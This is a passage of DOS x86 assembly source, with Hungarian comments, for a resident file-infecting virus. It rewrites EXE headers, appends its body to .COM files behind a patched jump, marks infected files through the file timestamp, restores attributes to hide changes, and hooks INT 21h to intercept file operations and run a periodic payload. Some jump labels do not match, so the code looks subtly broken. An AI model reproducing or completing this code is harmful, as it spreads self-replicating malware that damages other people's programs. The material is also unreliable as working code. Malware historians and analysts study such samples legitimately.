|
|
|
|
MOV WORD PTR DS:[0059H],0
|
|
|
|
|
|
XOR CX,CX
|
|
|
|
|
|
MOV DX,000EH ;LSEEK E:
|
|
|
|
|
|
MOV AX,4200H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L053A
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L053A: MOV CX,000AH ;WRITE UP new Header Info
|
|
|
|
|
|
MOV DX,0053H ;
|
|
|
|
|
|
MOV AH,40H ; new SS ofs = file moge mutat
|
|
|
|
|
|
INT 21H ; new IP = 0
|
|
|
|
|
|
JNB L0549 ; new CS ofs = file moge mutat
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
NOP
|
|
|
|
|
|
L0549: XOR CX,CX ;LSEEK EOF
|
|
|
|
|
|
XOR DX,DX
|
|
|
|
|
|
MOV AX,4202H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L0557
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
NOP
|
|
|
|
|
|
L0557: ADD AX,01FFH ;Totalsize = exesize + virus
|
|
|
|
|
|
ADC DX,0 ;felkerekiti 512-re
|
|
|
|
|
|
MOV DH,DL
|
|
|
|
|
|
MOV DL,AH ;DX= DL AH
|
|
|
|
|
|
XOR AH,AH
|
|
|
|
|
|
SHR DX,1 ; ez lesz a hanyados
|
|
|
|
|
|
ADC AH,0
|
|
|
|
|
|
MOV WORD PTR DS:[005DH],AX ; 256/0 maradek
|
|
|
|
|
|
MOV DS:[005FH],DX
|
|
|
|
|
|
XOR CX,CX ;LSEEK 2: size mod 512
|
|
|
|
|
|
MOV DX,0002H
|
|
|
|
|
|
MOV AX,4200H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L057E
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
NOP
|
|
|
|
|
|
L057E: MOV CX,0004H ;WRITE up size mod 512
|
|
|
|
|
|
MOV DX,005DH ; size div 512
|
|
|
|
|
|
MOV AH,40H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L058D
|
|
|
|
|
|
JMP SHORT io_err
|
|
|
|
|
|
NOP
|
|
|
|
|
|
L058D: MOV CX,DS:[0006H] ;Set Original file time
|
|
|
|
|
|
MOV DX,DS:[0008H] ;kiveve time oszthato 8-al
|
|
|
|
|
|
AND CX,-08H
|
|
|
|
|
|
MOV AX,5701H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L05A2
|
|
|
|
|
|
JMP SHORT io_err
|
|
|
|
|
|
NOP
|
|
|
|
|
|
L05A2: MOV AH,3EH ;Close
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L05AB
|
|
|
|
|
|
JMP SHORT io_err
|
|
|
|
|
|
NOP
|
|
|
|
|
|
L05AB: MOV CX,DS:[0075H] ;Reset attr
|
|
|
|
|
|
MOV DX,0032H
|
|
|
|
|
|
MOV AX,4301H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
;
|
|
|
|
|
|
; I/O error
|
|
|
|
|
|
;
|
|
|
|
|
|
io_err: PUSH DS
|
|
|
|
|
|
MOV DX,DS:[007BH]
|
|
|
|
|
|
MOV AX,DS:[007DH]
|
|
|
|
|
|
MOV DS,AX ;Reset DTA
|
|
|
|
|
|
MOV AH,1AH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
POP DS
|
|
|
|
|
|
PUSH DS
|
|
|
|
|
|
MOV DX,DS:[0077H]
|
|
|
|
|
|
MOV AX,DS:[0079H] ;Reset Fatal Error vector
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV AX,2524H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
POP DS
|
|
|
|
|
|
DB 0C3H; RET
|
|
|
|
|
|
;
|
|
|
|
|
|
; A .COM file megfertozese:
|
|
|
|
|
|
;
|
|
|
|
|
|
; 1. Ellenorzi, hogy nem lesz-e tul nagy a .COM file a virussal egyutt.
|
|
|
|
|
|
; 2. Eltarolja adatteruletere a file elso 3 byte-jat /ezt fogja kicserelni/
|
|
|
|
|
|
; 3. A file vege utan /felkerekiti egy $-al,mindig $-hatar/ felirja a
|
|
|
|
|
|
; virus-testet.
|
|
|
|
|
|
; 4. A file elejere felirja a JMP v_start utasitast. v_start = filesize + 3
|
|
|
|
|
|
; 5. Visszaallitja a file-idot azon modositassal, hogy mindig oszthato 8-al
|
|
|
|
|
|
; /ez egy jel amirol gyorsabban ismerheti fel a mar fertozott prg-kat/,
|
|
|
|
|
|
; es az eredeti file-attributumot.
|
|
|
|
|
|
;
|
|
|
|
|
|
df_com:
|
|
|
|
|
|
MOV BYTE PTR CS:[BAH],0F8H ;.COM file
|
|
|
|
|
|
XOR DX,DX
|
|
|
|
|
|
XOR CX,CX
|
|
|
|
|
|
MOV AX,4202H ;LSEEK EOF
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB _c1
|
|
|
|
|
|
JMP SHORT io_err
|
|
|
|
|
|
_c1: MOV CX,0FC80H ;nem tul nagy-e a file (max 64K COM)
|
|
|
|
|
|
SUB CX,098AH
|
|
|
|
|
|
CMP AX,CX
|
|
|
|
|
|
JB _csoz
|
|
|
|
|
|
JMP d_clnxt
|
|
|
|
|
|
_csok: XOR DX,DX
|
|
|
|
|
|
XOR CX,CX
|
|
|
|
|
|
MOV AX,4200H ;LSEEK START
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB _crd3
|
|
|
|
|
|
JMP SHORT io_err
|
|
|
|
|
|
_crd3: MOV CX,0003H ;READ FILE'S FIRST 3 byte
|
|
|
|
|
|
MOV DX,0003H ;(ezt fogja lecserelni az ugrasra)
|
|
|
|
|
|
MOV AH,3FH ;ds:3 ra azaz a virustestbe
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB _crdok
|
|
|
|
|
|
JMP SHORT io_err
|
|
|
|
|
|
_crdok: CMP AX,CX
|
|
|
|
|
|
JZ _crdok1
|
|
|
|
|
|
JMP SHORT io_err
|
|
|
|
|
|
_crdok1:XOR CX,CX ;LSEEK EOF
|
|
|
|
|
|
XOR DX,DX
|
|
|
|
|
|
MOV AX,4202H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNC _cls1ok
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_cls1ok:MOV BP,AX ; (size + 10h) AND -10h =
|
|
|
|
|
|
ADD BP,+10H
|
|
|
|
|
|
AND BP,-10H ; felkerekiti egy $-al a size-t
|
|
|
|
|
|
XOR CX,CX
|
|
|
|
|
|
MOV DX,BP
|
|
|
|
|
|
MOV AX,4200H ; es elmegy ide /over EOF/
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB _covr
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_covr: MOV CX,098AH ;WRITE felirja a virustestet
|
|
|
|
|
|
XOR DX,DX
|
|
|
|
|
|
MOV AH,40H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB _cwrok
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_cwrok: CMP AX,CX
|
|
|
|
|
|
JZ _cwr1ok
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
_cwrok1:XOR DX,DX ;LSEEK START
|
|
|
|
|
|
XOR CX,CX
|
|
|
|
|
|
MOV AX,4200H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L0664
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L0664: MOV BYTE PTR DS:[0003H],0E9H
|
|
|
|
|
|
SUB BP,+03H ;WRITE jmp virus (size+3)
|
|
|
|
|
|
MOV DS:[0004H],BP
|
|
|
|
|
|
MOV CX,0003H
|
|
|
|
|
|
MOV DX,0003H
|
|
|
|
|
|
MOV AH,40H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L067F
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L067F: CMP AX,CX
|
|
|
|
|
|
JE L0686
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L0686: MOV CX,DS:[0006H] ;Set file Date/Time
|
|
|
|
|
|
MOV DX,DS:[0008H] ;A FERTOZOTT FILE IDEJE OSZTHATO 8-AL
|
|
|
|
|
|
AND CX,-08H ;CX = xxxxx000
|
|
|
|
|
|
MOV AX,5701H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L069B
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L069B: MOV AH,3EH ;Close file
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JNB L06A4
|
|
|
|
|
|
JMP io_err
|
|
|
|
|
|
L06A4: MOV CX,DS:[0075H] ;Set original file attr
|
|
|
|
|
|
MOV DX,0032H
|
|
|
|
|
|
MOV AX,4301H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
JMP io_err ;befejezodott a fertozes
|
|
|
|
|
|
|
|
|
|
|
|
;*******************************
|
|
|
|
|
|
;* *
|
|
|
|
|
|
;* A rezidens INT_21 funkcio *
|
|
|
|
|
|
;* *
|
|
|
|
|
|
;*******************************
|
|
|
|
|
|
|
|
|
|
|
|
CMP AX,0FFFFH ;virus funkcio: install_stat
|
|
|
|
|
|
JNE L06C2
|
|
|
|
|
|
CMP BX,0FF0H
|
|
|
|
|
|
JNE L06C2
|
|
|
|
|
|
MOV CX,0FEC1H ;visszaadja az install-kodot
|
|
|
|
|
|
IRET
|
|
|
|
|
|
L06C2: CMP AH,3EH ;CLOSE
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,41H ;UNLINK
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,3CH ;CREAT
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,42H ;LSEEK
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,43H ;CHMOD
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,4BH ;L/E
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,4EH ;FFIRST
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,4FH ;FNEXT
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,5BH ;CREATE
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,39H ;MKDIR
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,3AH ;RMDIR
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,3BH ;CHDIR
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,3DH ;OPEN
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,3FH ;READ
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
CMP AH,40H ;WRITE except BX=1 stdout
|
|
|
|
|
|
JE L0710
|
|
|
|
|
|
JMP jmp_dos
|
|
|
|
|
|
L0710:
|
|
|
|
|
|
CMP BYTE PTR CS:[00A8H],1 ;Ha Child processben vagyunk
|
|
|
|
|
|
JNE L071B ;mindent beken kell hagyni...
|
|
|
|
|
|
JMP jmp_dos
|
|
|
|
|
|
L071B: CMP AH,40H ;FN = WRITE, handle=1 (print)
|
|
|
|
|
|
JNE L0728 ; nem bantja
|
|
|
|
|
|
CMP BX,+01H
|
|
|
|
|
|
JNE L0728
|
|
|
|
|
|
JMP jmp_dos ;to dos
|
|
|
|
|
|
L0728:
|
|
|
|
|
|
MOV CS:[00A9H],AX
|
|
|
|
|
|
MOV CS:[00A4H],SS
|
|
|
|
|
|
MOV CS:[00A6H],SP
|
|
|
|
|
|
MOV AX,CS
|
|
|
|
|
|
MOV SS,AX
|
|
|
|
|
|
MOV SP,08F3H
|
|
|
|
|
|
PUSH ES
|
|
|
|
|
|
PUSH DS
|
|
|
|
|
|
PUSH AX
|
|
|
|
|
|
PUSH BX
|
|
|
|
|
|
PUSH CX
|
|
|
|
|
|
PUSH DX
|
|
|
|
|
|
PUSH SI
|
|
|
|
|
|
PUSH DI
|
|
|
|
|
|
PUSH BP
|
|
|
|
|
|
MOV AX,CS
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV ES,AX
|
|
|
|
|
|
PUSH DS
|
|
|
|
|
|
MOV DX,DS:[0082H]
|
|
|
|
|
|
MOV AX,DS:[0084H]
|
|
|
|
|
|
MOV DS,AX
|
|
|
|
|
|
MOV AX,2521H ;Visszaallitja az eredeti
|
|
|
|
|
|
INT 21H ; DOS hivas lehetoseget
|
|
|
|
|
|
POP DS ; a rutinon belul
|
|
|
|
|
|
NOP
|
|
|
|
|
|
NOP
|
|
|
|
|
|
NOP
|
|
|
|
|
|
NOP
|
|
|
|
|
|
MOV AH,2CH ;Randomize
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV DS:[0072H],DX
|
|
|
|
|
|
MOV AH,2CH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
MOV CL,DL
|
|
|
|
|
|
AND CL,0FH
|
|
|
|
|
|
ROL DS:[0072H],CL
|
|
|
|
|
|
MOV AH,2CH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
XOR DS:[0072H],DX
|
|
|
|
|
|
MOV AH,2CH
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
CMP CL,DS:[00A3H]
|
|
|
|
|
|
JZ L0792
|
|
|
|
|
|
MOV DS:[00A3H],CL ;min
|
|
|
|
|
|
MOV DS:[00A2H],DH ;sec
|
|
|
|
|
|
JMP do_it
|
|
|
|
|
|
NOP
|
|
|
|
|
|
L0792: MOV BL,DS:[00A2H] ;felorankent kozbelep
|
|
|
|
|
|
ADD BL,30
|
|
|
|
|
|
CMP DH,BL
|
|
|
|
|
|
JC _vDOS
|
|
|
|
|
|
MOV DS:[00A2H],DH
|
|
|
|
|
|
do_it: CALL _working
|
|
|
|
|
|
vDOS: MOV DX,06B3H ;visszaallitja onmagat DOS-nak
|
|
|
|
|
|
MOV AX,2521H
|
|
|
|
|
|
INT 21H
|
|
|
|
|
|
POP BP
|
|
|
|
|
|
POP DI
|
|
|
|
|
|
POP SI
|
|
|
|
|
|
POP DX
|
|
|
|
|
|
POP CX
|
|
|
|
|
|
POP BX
|
|
|
|
|
|
POP AX
|
|
|
|
|
|
POP DS
|
|
|
|
|
|
POP ES
|
|
|
|
|
|
MOV AX,WORD PTR CS:[00A4H]
|
|
|
|
|
|
MOV SS,AX
|
|
|
|
|
|
MOV SP,CS:[00A6H]
|
|
|
|
|
|
MOV AX,WORD PTR CS:[00A9H]
|
|
|
|
|
|
jmp_dos
|
|
|
|
|
|
JMP DWORD PTR CS:[0082H] ;Exec DOS fn
|
|
|
|
|
|
|
|
|
|
|
|
db 'The incredible anyad'
|
|
|
|
|
|
|
|
|
|
|
|
XPROC ENDP
|
|
|
|
|
|
XSEG ENDS
|
|
|
|
|
|
END
|
2021-01-13 00:04:54 +00:00
|
|
|
|
|
